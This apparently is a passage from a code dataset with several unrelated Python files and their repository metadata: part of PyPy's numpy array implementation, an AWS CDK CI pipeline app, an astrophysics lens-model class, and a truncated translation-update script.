self.get_backstrides() if self.dtype.is_complex(): dtype = self.dtype.get_float_dtype(space) return SliceArray(self.start, strides, backstrides, self.get_shape(), self, orig_array, dtype=dtype) return SliceArray(self.start, strides, backstrides, self.get_shape(), self, orig_array) def set_real(self, space, orig_array, w_value): tmp = self.get_real(space, orig_array) tmp.setslice(space, convert_to_array(space, w_value)) def get_imag(self, space, orig_array): strides = self.get_strides() backstrides = self.get_backstrides() if self.dtype.is_complex(): dtype = self.dtype.get_float_dtype(space) return SliceArray(self.start + dtype.elsize, strides, backstrides, self.get_shape(), self, orig_array, dtype=dtype) impl = NonWritableArray(self.get_shape(), self.dtype, self.order, strides, backstrides) if not self.dtype.is_flexible(): impl.fill(space, self.dtype.box(0)) return impl def set_imag(self, space, orig_array, w_value): tmp = self.get_imag(space, orig_array) tmp.setslice(space, convert_to_array(space, w_value)) # -------------------- applevel get/setitem ----------------------- @jit.unroll_safe def _lookup_by_index(self, space, view_w): item = self.start strides = self.get_strides() for i, w_index in enumerate(view_w): if space.isinstance_w(w_index, space.w_slice): raise IndexError idx = support.index_w(space, w_index) if idx < 0: idx = self.get_shape()[i] + idx if idx < 0 or idx >= self.get_shape()[i]: raise oefmt(space.w_IndexError, "index %d is out of bounds for axis %d with size " "%d", idx, i, self.get_shape()[i]) item += idx * strides[i] return item @jit.unroll_safe def _lookup_by_unwrapped_index(self, space, lst): item = self.start shape = self.get_shape() strides = self.get_strides() assert len(lst) == len(shape) for i, idx in enumerate(lst): if idx < 0: idx = shape[i] + idx if idx < 0 or idx >= shape[i]: raise oefmt(space.w_IndexError, "index %d is out of bounds for axis %d with size " "%d", idx, i, self.get_shape()[i]) item += idx * strides[i] return item def getitem_index(self, space, index): return self.getitem(self._lookup_by_unwrapped_index(space, index)) def setitem_index(self, space, index, value): self.setitem(self._lookup_by_unwrapped_index(space, index), value) @jit.unroll_safe def _single_item_index(self, space, w_idx): """ Return an index of single item if possible, otherwise raises IndexError """ if (space.isinstance_w(w_idx, space.w_text) or space.isinstance_w(w_idx, space.w_slice) or space.is_w(w_idx, space.w_None)): raise IndexError if isinstance(w_idx, W_NDimArray) and not w_idx.is_scalar(): raise ArrayArgumentException shape = self.get_shape() shape_len = len(shape) view_w = None if space.isinstance_w(w_idx, space.w_list): raise ArrayArgumentException if space.isinstance_w(w_idx, space.w_tuple): view_w = space.fixedview(w_idx) if len(view_w) != shape_len: raise IndexError # check for arrays for w_item in view_w: if (isinstance(w_item, W_NDimArray) or space.isinstance_w(w_item, space.w_list)): raise ArrayArgumentException elif space.is_w(w_item, space.w_Ellipsis): raise IndexError return self._lookup_by_index(space, view_w) if shape_len == 0: raise oefmt(space.w_IndexError, "too many indices for array") elif shape_len > 1: raise IndexError idx = support.index_w(space, w_idx) return self._lookup_by_index(space, [space.newint(idx)]) @jit.unroll_safe def _prepare_slice_args(self, space, w_idx): from pypy.module.micronumpy import boxes if space.isinstance_w(w_idx, space.w_text): raise oefmt(space.w_IndexError, "only integers, slices (`:`), " "ellipsis (`...`), numpy.newaxis (`None`) and integer or " "boolean arrays are valid indices") if space.isinstance_w(w_idx, space.w_slice): if len(self.get_shape()) == 0: raise oefmt(space.w_ValueError, "cannot slice a 0-d array") return [SliceChunk(w_idx), EllipsisChunk()] elif space.isinstance_w(w_idx, space.w_int): return [IntegerChunk(w_idx), EllipsisChunk()] elif isinstance(w_idx, W_NDimArray) and w_idx.is_scalar(): w_idx = w_idx.get_scalar_value().item(space) if not space.isinstance_w(w_idx, space.w_int) and \ not space.isinstance_w(w_idx, space.w_bool): raise oefmt(space.w_IndexError, "arrays used as indices must be of integer (or " "boolean) type") return [IntegerChunk(w_idx), EllipsisChunk()] elif space.is_w(w_idx, space.w_None): return [NewAxisChunk(), EllipsisChunk()] result = [] has_ellipsis = False has_filter = False for w_item in space.fixedview(w_idx): if space.is_w(w_item, space.w_Ellipsis): if has_ellipsis: # in CNumPy, this is only a deprecation warning raise oefmt(space.w_ValueError, "an index can only have a single Ellipsis (`...`); " "replace all but one with slices (`:`).") result.append(EllipsisChunk()) has_ellipsis = True elif space.is_w(w_item, space.w_None): result.append(NewAxisChunk()) elif space.isinstance_w(w_item, space.w_slice): result.append(SliceChunk(w_item)) elif isinstance(w_item, W_NDimArray) and w_item.get_dtype().is_bool(): if has_filter: # in CNumPy, the support for this is incomplete raise oefmt(space.w_ValueError, "an index can only have a single boolean mask; " "use np.take or create a sinlge mask array") has_filter = True result.append(BooleanChunk(w_item)) elif isinstance(w_item, boxes.W_GenericBox): result.append(IntegerChunk(w_item.descr_int(space))) else: result.append(IntegerChunk(w_item)) if not has_ellipsis: result.append(EllipsisChunk()) return result def descr_getitem(self, space, orig_arr, w_index): try: item = self._single_item_index(space, w_index) return self.getitem(item) except IndexError: # not a single result chunks = self._prepare_slice_args(space, w_index) copy = False if isinstance(chunks[0], BooleanChunk): # numpy compatibility copy = True w_ret = new_view(space, orig_arr, chunks) if copy: w_ret = w_ret.descr_copy(space, space.newint(w_ret.get_order())) return w_ret def descr_setitem(self, space, orig_arr, w_index, w_value): try: item = self._single_item_index(space, w_index) self.setitem(item, self.dtype.coerce(space, w_value)) except IndexError: w_value = convert_to_array(space, w_value) chunks = self._prepare_slice_args(space, w_index) view = new_view(space, orig_arr, chunks) view.implementation.setslice(space, w_value) def transpose(self, orig_array, axes=None): if len(self.get_shape()) < 2: return self strides = [] backstrides = [] shape = [] if axes is None: axes = range(len(self.get_shape()) - 1, -1, -1) for i in axes: strides.append(self.get_strides()[i]) backstrides.append(self.get_backstrides()[i]) shape.append(self.get_shape()[i]) return SliceArray(self.start, strides, backstrides, shape, self, orig_array) def copy(self, space, order=NPY.ANYORDER): if order == NPY.ANYORDER: order = NPY.KEEPORDER return self.astype(space, self.dtype, order, copy=True) def create_iter(self, shape=None, backward_broadcast=False): if shape is not None and \ support.product(shape) > support.product(self.get_shape()): r = calculate_broadcast_strides(self.get_strides(), self.get_backstrides(), self.get_shape(), shape, backward_broadcast) i = ArrayIter(self, support.product(shape), shape, r[0], r[1]) else: i = ArrayIter(self, self.get_size(), self.shape, self.strides, self.backstrides) return i, i.reset() def swapaxes(self, space, orig_arr, axis1, axis2): shape = self.get_shape()[:] strides = self.get_strides()[:] backstrides = self.get_backstrides()[:] shape[axis1], shape[axis2] = shape[axis2], shape[axis1] strides[axis1], strides[axis2] = strides[axis2], strides[axis1] backstrides[axis1], backstrides[axis2] = backstrides[axis2], backstrides[axis1] return W_NDimArray.new_slice(space, self.start, strides, backstrides, shape, self, orig_arr) def nonzero(self, space, index_type): s = loop.count_all_true_concrete(self) box = index_type.itemtype.box nd = len(self.get_shape()) or 1 w_res = W_NDimArray.from_shape(space, [s, nd], index_type) loop.nonzero(w_res, self, box) w_res = w_res.implementation.swapaxes(space, w_res, 0, 1) l_w = [w_res.descr_getitem(space, space.newint(d)) for d in range(nd)] return space.newtuple(l_w) ##def get_storage(self): ## return self.storage ## use a safer context manager def __enter__(self): return self.storage def __exit__(self, typ, value, traceback): keepalive_until_here(self) def get_buffer(self, space, flags): errtype = space.w_ValueError # should be BufferError, numpy does this instead if ((flags & space.BUF_C_CONTIGUOUS) == space.BUF_C_CONTIGUOUS and not self.flags & NPY.ARRAY_C_CONTIGUOUS): raise oefmt(errtype, "ndarray is not C-contiguous") if ((flags & space.BUF_F_CONTIGUOUS) == space.BUF_F_CONTIGUOUS and not self.flags & NPY.ARRAY_F_CONTIGUOUS): raise oefmt(errtype, "ndarray is not Fortran contiguous") if ((flags & space.BUF_ANY_CONTIGUOUS) == space.BUF_ANY_CONTIGUOUS and not (self.flags & NPY.ARRAY_F_CONTIGUOUS and self.flags & NPY.ARRAY_C_CONTIGUOUS)): raise oefmt(errtype, "ndarray is not contiguous") if ((flags & space.BUF_STRIDES) != space.BUF_STRIDES and not self.flags & NPY.ARRAY_C_CONTIGUOUS): raise oefmt(errtype, "ndarray is not C-contiguous") if ((flags & space.BUF_WRITABLE) == space.BUF_WRITABLE and not self.flags & NPY.ARRAY_WRITEABLE): raise oefmt(errtype, "buffer source array is read-only") readonly = not (flags & space.BUF_WRITABLE) == space.BUF_WRITABLE return ArrayBuffer(self, readonly) def astype(self, space, dtype, order, copy=True): # copy the general pattern of the strides # but make the array storage contiguous in memory shape = self.get_shape() strides = self.get_strides() if order not in (NPY.KEEPORDER, NPY.FORTRANORDER, NPY.CORDER): raise oefmt(space.w_ValueError, "Unknown order %d in astype", order) if len(strides) == 0: t_strides = [] backstrides = [] elif order in (NPY.FORTRANORDER, NPY.CORDER): t_strides, backstrides = calc_strides(shape, dtype, order) else: indx_array = range(len(strides)) list_sorter = StrideSort(indx_array, strides, self.order) list_sorter.sort() t_elsize = dtype.elsize t_strides = strides[:] base = dtype.elsize for i in indx_array: t_strides[i] = base base *= shape[i] backstrides = calc_backstrides(t_strides, shape) order = support.get_order_as_CF(self.order, order) impl = ConcreteArray(shape, dtype, order, t_strides, backstrides) if copy: loop.setslice(space, impl.get_shape(), impl, self) return impl OBJECTSTORE = lltype.GcStruct('ObjectStore', ('length', lltype.Signed), ('step', lltype.Signed), ('storage', llmemory.Address), rtti=True) offset_of_storage = llmemory.offsetof(OBJECTSTORE, 'storage') offset_of_length = llmemory.offsetof(OBJECTSTORE, 'length') offset_of_step = llmemory.offsetof(OBJECTSTORE, 'step') V_OBJECTSTORE = lltype.nullptr(OBJECTSTORE) def customtrace(gc, obj, callback, arg): #debug_print('in customtrace w/obj', obj) length = (obj + offset_of_length).signed[0] step = (obj + offset_of_step).signed[0] storage = (obj + offset_of_storage).address[0] #debug_print('tracing', length, 'objects in ndarray.storage') i = 0 while i < length: gc._trace_callback(callback, arg, storage) storage += step i += 1 lambda_customtrace = lambda: customtrace def _setup(): rgc.register_custom_trace_hook(OBJECTSTORE, lambda_customtrace) @jit.dont_look_inside def _create_objectstore(storage, length, elsize): gcstruct = lltype.malloc(OBJECTSTORE) # JIT does not support cast_ptr_to_adr gcstruct.storage = llmemory.cast_ptr_to_adr(storage) #print 'create gcstruct',gcstruct,'with storage',storage,'as',gcstruct.storage gcstruct.length = length gcstruct.step = elsize return gcstruct class ConcreteArrayNotOwning(BaseConcreteArray): def __init__(self, shape, dtype, order, strides, backstrides, storage, start=0): make_sure_not_resized(shape) make_sure_not_resized(strides) make_sure_not_resized(backstrides) self.shape = shape # already tested for overflow in from_shape_and_storage self.size = support.product(shape) * dtype.elsize if order not in (NPY.CORDER, NPY.FORTRANORDER): raise oefmt(dtype.itemtype.space.w_ValueError, "ConcreteArrayNotOwning but order is not 0,1 rather %d", order) self.order = order self.dtype = dtype self.strides = strides self.backstrides = backstrides self.storage = storage self.start = start self.gcstruct = V_OBJECTSTORE def fill(self, space, box): self.dtype.itemtype.fill( self.storage, self.dtype.elsize, self.dtype.is_native(), box, 0, self.size, 0, self.gcstruct) def set_shape(self, space, orig_array, new_shape): if len(new_shape) > NPY.MAXDIMS: raise oefmt(space.w_ValueError, "sequence too large; cannot be greater than %d", NPY.MAXDIMS) try: ovfcheck(support.product_check(new_shape) * self.dtype.elsize) except OverflowError as e: raise oefmt(space.w_ValueError, "array is too big.") strides, backstrides = calc_strides(new_shape, self.dtype, self.order) return SliceArray(self.start, strides, backstrides, new_shape, self, orig_array) def set_dtype(self, space, dtype): # size/shape/strides shouldn't change assert dtype.elsize == self.dtype.elsize self.dtype = dtype def argsort(self, space, w_axis): from .selection import argsort_array return argsort_array(self, space, w_axis) def sort(self, space, w_axis, w_order): from .selection import sort_array return sort_array(self, space, w_axis, w_order) def base(self): return None class ConcreteArray(ConcreteArrayNotOwning): def __init__(self, shape, dtype, order, strides, backstrides, storage=lltype.nullptr(RAW_STORAGE), zero=True): gcstruct = V_OBJECTSTORE flags = NPY.ARRAY_ALIGNED | NPY.ARRAY_WRITEABLE try: length = support.product_check(shape) self.size = ovfcheck(length * dtype.elsize) except OverflowError: raise oefmt(dtype.itemtype.space.w_ValueError, "array is too big.") if storage == lltype.nullptr(RAW_STORAGE): if dtype.num == NPY.OBJECT: storage = dtype.itemtype.malloc(length * dtype.elsize, zero=True) gcstruct = _create_objectstore(storage, length, dtype.elsize) else: storage = dtype.itemtype.malloc(length * dtype.elsize, zero=zero) flags |= NPY.ARRAY_OWNDATA start = calc_start(shape, strides) ConcreteArrayNotOwning.__init__(self, shape, dtype, order, strides, backstrides, storage, start=start) self.gcstruct = gcstruct if is_c_contiguous(self): flags |= NPY.ARRAY_C_CONTIGUOUS if is_f_contiguous(self): flags |= NPY.ARRAY_F_CONTIGUOUS self.flags = flags def __del__(self): if self.gcstruct: self.gcstruct.length = 0 free_raw_storage(self.storage, track_allocation=False) class ConcreteArrayWithBase(ConcreteArrayNotOwning): def __init__(self, shape, dtype, order, strides, backstrides, storage, orig_base, start=0): ConcreteArrayNotOwning.__init__(self, shape, dtype, order, strides, backstrides, storage, start) self.orig_base = orig_base if isinstance(orig_base, W_NumpyObject): flags = orig_base.get_flags() & NPY.ARRAY_ALIGNED flags |= orig_base.get_flags() & NPY.ARRAY_WRITEABLE else: flags = 0 if is_c_contiguous(self): flags |= NPY.ARRAY_C_CONTIGUOUS if is_f_contiguous(self): flags |= NPY.ARRAY_F_CONTIGUOUS self.flags = flags def base(self): return self.orig_base class ConcreteNonWritableArrayWithBase(ConcreteArrayWithBase): def __init__(self, shape, dtype, order, strides, backstrides, storage, orig_base, start=0): ConcreteArrayWithBase.__init__(self, shape, dtype, order, strides, backstrides, storage, orig_base, start) self.flags &= ~ NPY.ARRAY_WRITEABLE def descr_setitem(self, space, orig_array, w_index, w_value): raise oefmt(space.w_ValueError, "assignment destination is read-only") class NonWritableArray(ConcreteArray): def __init__(self, shape, dtype, order, strides, backstrides, storage=lltype.nullptr(RAW_STORAGE), zero=True): ConcreteArray.__init__(self, shape, dtype, order, strides, backstrides, storage, zero) self.flags &= ~ NPY.ARRAY_WRITEABLE def descr_setitem(self, space, orig_array, w_index, w_value): raise oefmt(space.w_ValueError, "assignment destination is read-only") class SliceArray(BaseConcreteArray): def __init__(self, start, strides, backstrides, shape, parent, orig_arr, dtype=None): self.strides = strides self.backstrides = backstrides self.shape = shape if dtype is None: dtype = parent.dtype if isinstance(parent, SliceArray): parent = parent.parent # one level only self.parent = parent self.storage = parent.storage self.gcstruct = parent.gcstruct if parent.order not in (NPY.CORDER, NPY.FORTRANORDER): raise oefmt(dtype.itemtype.space.w_ValueError, "SliceArray but parent order is not 0,1 rather %d", parent.order) self.order = parent.order self.dtype = dtype try: self.size = ovfcheck(support.product_check(shape) * self.dtype.elsize) except OverflowError: raise oefmt(dtype.itemtype.space.w_ValueError, "array is too big.") self.start = start self.orig_arr = orig_arr flags = parent.flags & NPY.ARRAY_ALIGNED flags |= parent.flags & NPY.ARRAY_WRITEABLE if is_c_contiguous(self): flags |= NPY.ARRAY_C_CONTIGUOUS if is_f_contiguous(self): flags |= NPY.ARRAY_F_CONTIGUOUS self.flags = flags def base(self): return self.orig_arr def fill(self, space, box): loop.fill(self, box.convert_to(space, self.dtype)) def set_shape(self, space, orig_array, new_shape): if len(new_shape) > NPY.MAXDIMS: raise oefmt(space.w_ValueError, "sequence too large; cannot be greater than %d", NPY.MAXDIMS) try: ovfcheck(support.product_check(new_shape) * self.dtype.elsize) except OverflowError as e: raise oefmt(space.w_ValueError, "array is too big.") if len(self.get_shape()) < 2 or self.size == 0: # TODO: this code could be refactored into calc_strides # but then calc_strides would have to accept a stepping factor strides = [] backstrides = [] dtype = self.dtype try: s = self.get_strides()[0] // dtype.elsize except IndexError: s = 1 if self.order != NPY.FORTRANORDER: new_shape.reverse() for sh in new_shape: strides.append(s * dtype.elsize) backstrides.append(s * (sh - 1) * dtype.elsize) s *= max(1, sh) if self.order != NPY.FORTRANORDER: strides.reverse() backstrides.reverse() new_shape.reverse() return self.__class__(self.start, strides, backstrides, new_shape, self, orig_array) new_strides = calc_new_strides(new_shape, self.get_shape(), self.get_strides(), self.order) if new_strides is None or len(new_strides) != len(new_shape): raise oefmt(space.w_AttributeError, "incompatible shape for a non-contiguous array") new_backstrides = [0] * len(new_shape) for nd in range(len(new_shape)): new_backstrides[nd] = (new_shape[nd] - 1) * new_strides[nd] return self.__class__(self.start, new_strides, new_backstrides, new_shape, self, orig_array) def sort(self, space, w_axis, w_order): from .selection import sort_array return sort_array(self, space, w_axis, w_order) class NonWritableSliceArray(SliceArray): def __init__(self, start, strides, backstrides, shape, parent, orig_arr, dtype=None): SliceArray.__init__(self, start, strides, backstrides, shape, parent, orig_arr, dtype) self.flags &= ~NPY.ARRAY_WRITEABLE def descr_setitem(self, space, orig_array, w_index, w_value): raise oefmt(space.w_ValueError, "assignment destination is read-only") class VoidBoxStorage(BaseConcreteArray): def __init__(self, size, dtype): self.storage = alloc_raw_storage(size) self.gcstruct = V_OBJECTSTORE self.dtype = dtype self.size = size self.flags = (NPY.ARRAY_C_CONTIGUOUS | NPY.ARRAY_F_CONTIGUOUS | NPY.ARRAY_WRITEABLE | NPY.ARRAY_ALIGNED) def __del__(self): free_raw_storage(self.storage) class ArrayBuffer(Buffer): _immutable_ = True def __init__(self, impl, readonly): self.impl = impl self.readonly = readonly def getitem(self, index): return raw_storage_getitem(lltype.Char, self.impl.storage, index + self.impl.start) def setitem(self, index, v): # XXX what if self.readonly? raw_storage_setitem(self.impl.storage, index + self.impl.start, rffi.cast(lltype.Char, v)) def getlength(self): return self.impl.size - self.impl.start def get_raw_address(self): from rpython.rtyper.lltypesystem import rffi return rffi.ptradd(self.impl.storage, self.impl.start) def getformat(self): sb = StringBuilder() self.impl.dtype.getformat(sb) return sb.build() def getitemsize(self): return self.impl.dtype.elsize def getndim(self): return len(self.impl.shape) def getshape(self): return self.impl.shape def getstrides(self): return self.impl.strides

41.453083

124

0.603835

9b2660421489a2dcf90a9f11b247b832641c0bb9

2,224

py

Python

src/build_infrastructure/android/app.py

ammarkarachi/amplify-ci-support

f3ebefa2e64eba64b7bb05aad51e1e91f0c74112

[ "Apache-2.0" ]

1

2021-07-07T10:50:45.000Z

src/build_infrastructure/android/app.py

yuth/amplify-ci-support

eab10558f1880bf9565dfa1aaf50d47de48de667

[ "Apache-2.0" ]

null

src/build_infrastructure/android/app.py

yuth/amplify-ci-support

eab10558f1880bf9565dfa1aaf50d47de48de667

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 import os from aws_cdk import ( core, aws_codepipeline_actions ) from stacks.build_pipeline_stack import AmplifyAndroidCodePipeline from stacks.account_bootstrap_stack import AccountBootstrap from stacks.maven_release_stack import MavenReleaseStack app = core.App() TARGET_REGION = app.node.try_get_context("region") TARGET_ACCOUNT = app.node.try_get_context("account") TARGET_ENV=core.Environment( account=TARGET_ACCOUNT, region=TARGET_REGION) REPO='amplify-android' github_owner=app.node.try_get_context("github_owner") branch=app.node.try_get_context("branch") config_source_bucket = app.node.try_get_context("config_source_bucket") release_pr_branch = app.node.try_get_context("release_pr_branch") log_level=app.node.try_get_context("log_level") print(f"AWS Account={TARGET_ACCOUNT} Region={TARGET_REGION}") # Account bootstrap stack account_bootstrap = AccountBootstrap(app, "AccountBootstrap", {}, env=TARGET_ENV) # Unit and integration test stack code_pipeline_stack_props = { # If set, config files for tests will be copied from S3. Otherwise, it will attempt to retrieve using the Amplify CLI 'config_source_bucket': account_bootstrap.config_source_bucket.bucket_name, 'github_source': { 'owner': github_owner, 'repo': REPO , 'base_branch': branch }, 'device_farm_project_name': 'AmplifyAndroidDeviceFarmTests', 'codebuild_project_name_prefix': 'AmplifyAndroid' } pipeline_stack = AmplifyAndroidCodePipeline(app, "AndroidBuildPipeline", code_pipeline_stack_props, description="CI Pipeline assets for amplify-android", env=TARGET_ENV) # Maven publisher stack maven_publisher_stack_props = { 'github_source': { 'owner': github_owner, 'repo': REPO, 'base_branch': branch, 'release_pr_branch': release_pr_branch }, 'codebuild_project_name_prefix': 'AmplifyAndroid' } MavenReleaseStack(app, "MavenPublisher", maven_publisher_stack_props, description="Assets used for publishing amplify-android to maven.", env=TARGET_ENV) app.synth()

34.75

153

0.724371

0d3e7c8f37ed185b15e388634718a6248ca4ce54

5,423

py

Python

MagniPy/Workflow/grism_lenses/lens2033_satlocobs.py

dangilman/MagniPy

820b82ea0f6559c895f11c92d93de475a92d38b0

[ "MIT" ]

2

2020-02-20T02:27:16.000Z

2020-02-20T08:38:23.000Z

MagniPy/Workflow/grism_lenses/lens2033_satlocobs.py

dangilman/MagniPy

820b82ea0f6559c895f11c92d93de475a92d38b0

[ "MIT" ]

1

2021-11-15T17:50:20.000Z

MagniPy/Workflow/grism_lenses/lens2033_satlocobs.py

dangilman/MagniPy

820b82ea0f6559c895f11c92d93de475a92d38b0

[ "MIT" ]

null

import numpy as np from MagniPy.lensdata import Data from MagniPy.LensBuild.defaults import get_default_SIE_random, get_default_SIE from MagniPy.util import approx_theta_E from MagniPy.Workflow.grism_lenses.quad import Quad class WFI2033_satlocobs(Quad): x = np.array([-0.751, -0.039, 1.445, -0.668]) y = np.array([0.953, 1.068, -0.307, -0.585]) m = np.array([1., 0.65, 0.5, 0.53]) time_delay_AB, delta_AB = 0, 100 time_delay_AC, delta_AC = -36.2, 0.8 time_delay_AD, delta_AD = 23.3, 1.4 # delta_time_delay = np.array([delta_AB, delta_AC, delta_AD]) # relative_arrival_times = np.array([time_delay_AB, time_delay_AC, time_delay_AD]) relative_arrival_times = np.array([0.01, 36.2, 23.3 + 36.2]) delta_time_delay = np.array([delta_AB, delta_AC, np.sqrt(delta_AC**2 + delta_AD**2)]) sigma_x = np.array([0.005]*4) sigma_y = np.array([0.005]*4) sigma_m = np.zeros_like(sigma_x) zsrc, zlens = 1.66, 0.66 # source redshift from Motta et al data = Data(x, y, m, None, None, sigma_x = sigma_x, sigma_y = sigma_y, sigma_m=sigma_m) identifier = 'lens2033' flux_ratio_index = 0 fluximg = ['A', 'B', 'C', 'D'][flux_ratio_index] _macromodel = get_default_SIE(zlens) _macromodel.lenstronomy_args['theta_E'] = approx_theta_E(x, y) gamma_min = 1.9 gamma_max = 2.1 kwargs_lens_init = [{'theta_E': 1.0011161129638548, 'center_x': 0.0035639468432663527, 'center_y': 0.022250277854418788, 'e1': 0.013745407369119727, 'e2': 0.04242065788101877, 'gamma': 1.95}, {'gamma1': 0.1849727326105099, 'gamma2': -0.07557590574285741}] kwargs_lens_light = [{'amp': 2500, 'R_sersic': 0.2, 'n_sersic': 4., 'center_x': None, 'center_y': None}] kwargs_source_light = [{'amp': 1000, 'R_sersic': 0.08, 'n_sersic': 2.5, 'center_x': None, 'center_y': None, 'e1': 0.01, 'e2': -0.14}] srcmin = 0.02 srcmax = 0.05 has_satellite = True satellite_mass_model = ['SIS', 'SIS'] satellite1_pos_mass = [0.245, 2.037] satellite2_pos_mass = [-3.965, -0.022] satellite2_pos_mass_effective = [-3.63, -0.08] satellite_redshift = [zlens, 0.745] satellite_convention = ['phys', 'phys'] theta_E = (0.389*0.334)**0.5 kwargs_satellite_light = [{'amp': 800, 'R_sersic': 0.1, 'n_sersic': 3., 'center_x': satellite1_pos_mass[0], 'center_y': satellite1_pos_mass[1]}, None] satellite_kwargs = [{'theta_E': 0.03, 'center_x': satellite1_pos_mass[0], 'center_y': satellite1_pos_mass[1]}, {'theta_E': 0.93, 'center_x': satellite2_pos_mass[0], 'center_y': satellite2_pos_mass[1]}] @staticmethod def relative_time_delays(arrival_times): trel = arrival_times[1:] - arrival_times[0] trel = [abs(trel[0]), abs(trel[1]), abs(trel[1]) + abs(trel[2])] return np.array(trel) def optimize_fit(self, kwargs_fit={}, macro_init = None, print_output = False): if 'datatofit' in kwargs_fit.keys(): data = kwargs_fit['datatofit'] del kwargs_fit['datatofit'] else: data = self.data if 'satellites' not in kwargs_fit.keys(): satellites = {} satellites['lens_model_name'] = self.satellite_mass_model satellites['z_satellite'] = self.satellite_redshift satellites['kwargs_satellite'] = self.satellite_kwargs satellites['position_convention'] = self.satellite_convention kwargs_fit.update({'satellites': satellites}) optdata, optmodel = self._fit(data, self.solver, kwargs_fit, macromodel_init=macro_init) if print_output: self._print_output(optdata[0], optmodel[0]) return optdata[0], optmodel[0] def optimize_fit_lensmodel(self, kwargs_fit={}, macro_init = None, print_output = False): kwargs_fit.update({'identifier': self.identifier}) optdata, optmodel = self._fit_lensmodel(self.data, self.solver, kwargs_fit, macromodel_init=macro_init) if print_output: self._print_output(optdata[0], optmodel[0]) return optdata[0], optmodel[0] def _print_output(self, optdata, optmodel): macromodel = optmodel.lens_components[0] print('optimized mags: ', optdata.m) print('observed mags: ', self.data.m) print('lensmodel fit: ') print('Einstein radius: ', macromodel.lenstronomy_args['theta_E']) print('shear, shear_theta:', macromodel.shear, macromodel.shear_theta) print('ellipticity, PA:', macromodel.ellip_PA_polar()[0], macromodel.ellip_PA_polar()[1]) print('centroid: ', macromodel.lenstronomy_args['center_x'], macromodel.lenstronomy_args['center_y']) print('\n') print('flux ratios w.r.t. image '+str(self.fluximg)+':') print('observed: ', self.data.compute_flux_ratios(index=self.flux_ratio_index)) print('recovered: ', optdata.compute_flux_ratios(index=self.flux_ratio_index)) # lens = WFI2033() # x, y = lens.x, lens.y # col = ['k', 'r', 'm', 'g'] # import matplotlib.pyplot as plt # for l in range(0, 4): # plt.scatter(-x[l], y[l], color=col[l]) # plt.show()

38.460993

114

0.619214

fbc61746c687428060bb7d3bebd8185288369433

8,148

py

Python

contrib/devtools/update-translations.py

zero24x/ltx

045dd208b875bdf891f1f1a09249beaed6c55b0f

[ "MIT" ]

2

2019-08-06T13:47:40.000Z

2020-05-06T21:57:31.000Z

contrib/devtools/update-translations.py

litex-dev/Litexcoin

9ddc29de3d76993edc43a72d6be6fb8c8b7adff8

[ "MIT" ]

null

contrib/devtools/update-translations.py

litex-dev/Litexcoin

9ddc29de3d76993edc43a72d6be6fb8c8b7adff8

[ "MIT" ]

3

2019-10-16T19:08:49.000Z

2020-05-08T01:16:11.000Z

#!/usr/bin/env python # Copyright (c) 2014 Wladimir J. van der Laan # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' Run this script from the root of the repository to update all translations from transifex. It will do the following automatically: - fetch all translations using the tx tool - post-process them into valid and committable format - remove invalid control characters - remove location tags (makes diffs less noisy) TODO: - auto-add new translations to the build system according to the translation process ''' from __future__ import division, print_function import subprocess import re import sys import os import io import xml.etree.ElementTree as ET # Name of transifex tool TX = 'tx' # Name of source language file SOURCE_LANG = 'ltx_en.ts' # Directory with locale files LOCALE_DIR = 'src/qt/locale' # Minimum number of messages for translation to be considered at all MIN_NUM_MESSAGES = 10 def check_at_repository_root(): if not os.path.exists('.git'): print('No .git directory found') print('Execute this script at the root of the repository', file=sys.stderr) exit(1) def fetch_all_translations(): if subprocess.call([TX, 'pull', '-f', '-a']): print('Error while fetching translations', file=sys.stderr) exit(1) def find_format_specifiers(s): '''Find all format specifiers in a string.''' pos = 0 specifiers = [] while True: percent = s.find('%', pos) if percent < 0: break try: specifiers.append(s[percent+1]) except: print('Failed to get specifier') pos = percent+2 return specifiers def split_format_specifiers(specifiers): '''Split format specifiers between numeric (Qt) and others (strprintf)''' numeric = [] other = [] for s in specifiers: if s in {'1','2','3','4','5','6','7','8','9'}: numeric.append(s) else: other.append(s) # If both numeric format specifiers and "others" are used, assume we're dealing # with a Qt-formatted message. In the case of Qt formatting (see https://doc.qt.io/qt-5/qstring.html#arg) # only numeric formats are replaced at all. This means "(percentage: %1%)" is valid, without needing # any kind of escaping that would be necessary for strprintf. Without this, this function # would wrongly detect '%)' as a printf format specifier. if numeric: other = [] # numeric (Qt) can be present in any order, others (strprintf) must be in specified order return set(numeric),other def sanitize_string(s): '''Sanitize string for printing''' return s.replace('\n',' ') def check_format_specifiers(source, translation, errors, numerus): source_f = split_format_specifiers(find_format_specifiers(source)) # assert that no source messages contain both Qt and strprintf format specifiers # if this fails, go change the source as this is hacky and confusing! assert(not(source_f[0] and source_f[1])) try: translation_f = split_format_specifiers(find_format_specifiers(translation)) except IndexError: errors.append("Parse error in translation for '%s': '%s'" % (sanitize_string(source), sanitize_string(translation))) return False else: if source_f != translation_f: if numerus and source_f == (set(), ['n']) and translation_f == (set(), []) and translation.find('%') == -1: # Allow numerus translations to omit %n specifier (usually when it only has one possible value) return True errors.append("Mismatch between '%s' and '%s'" % (sanitize_string(source), sanitize_string(translation))) return False return True def all_ts_files(suffix=''): for filename in os.listdir(LOCALE_DIR): # process only language files, and do not process source language if not filename.endswith('.ts'+suffix) or filename == SOURCE_LANG+suffix: continue if suffix: # remove provided suffix filename = filename[0:-len(suffix)] filepath = os.path.join(LOCALE_DIR, filename) yield(filename, filepath) FIX_RE = re.compile(b'[\x00-\x09\x0b\x0c\x0e-\x1f]') def remove_invalid_characters(s): '''Remove invalid characters from translation string''' return FIX_RE.sub(b'', s) # Override cdata escape function to make our output match Qt's (optional, just for cleaner diffs for # comparison, disable by default) _orig_escape_cdata = None def escape_cdata(text): text = _orig_escape_cdata(text) text = text.replace("'", ''') text = text.replace('"', '"') return text def postprocess_translations(reduce_diff_hacks=False): print('Checking and postprocessing...') if reduce_diff_hacks: global _orig_escape_cdata _orig_escape_cdata = ET._escape_cdata ET._escape_cdata = escape_cdata for (filename,filepath) in all_ts_files(): os.rename(filepath, filepath+'.orig') have_errors = False for (filename,filepath) in all_ts_files('.orig'): # pre-fixups to cope with transifex output parser = ET.XMLParser(encoding='utf-8') # need to override encoding because 'utf8' is not understood only 'utf-8' with open(filepath + '.orig', 'rb') as f: data = f.read() # remove control characters; this must be done over the entire file otherwise the XML parser will fail data = remove_invalid_characters(data) tree = ET.parse(io.BytesIO(data), parser=parser) # iterate over all messages in file root = tree.getroot() for context in root.findall('context'): for message in context.findall('message'): numerus = message.get('numerus') == 'yes' 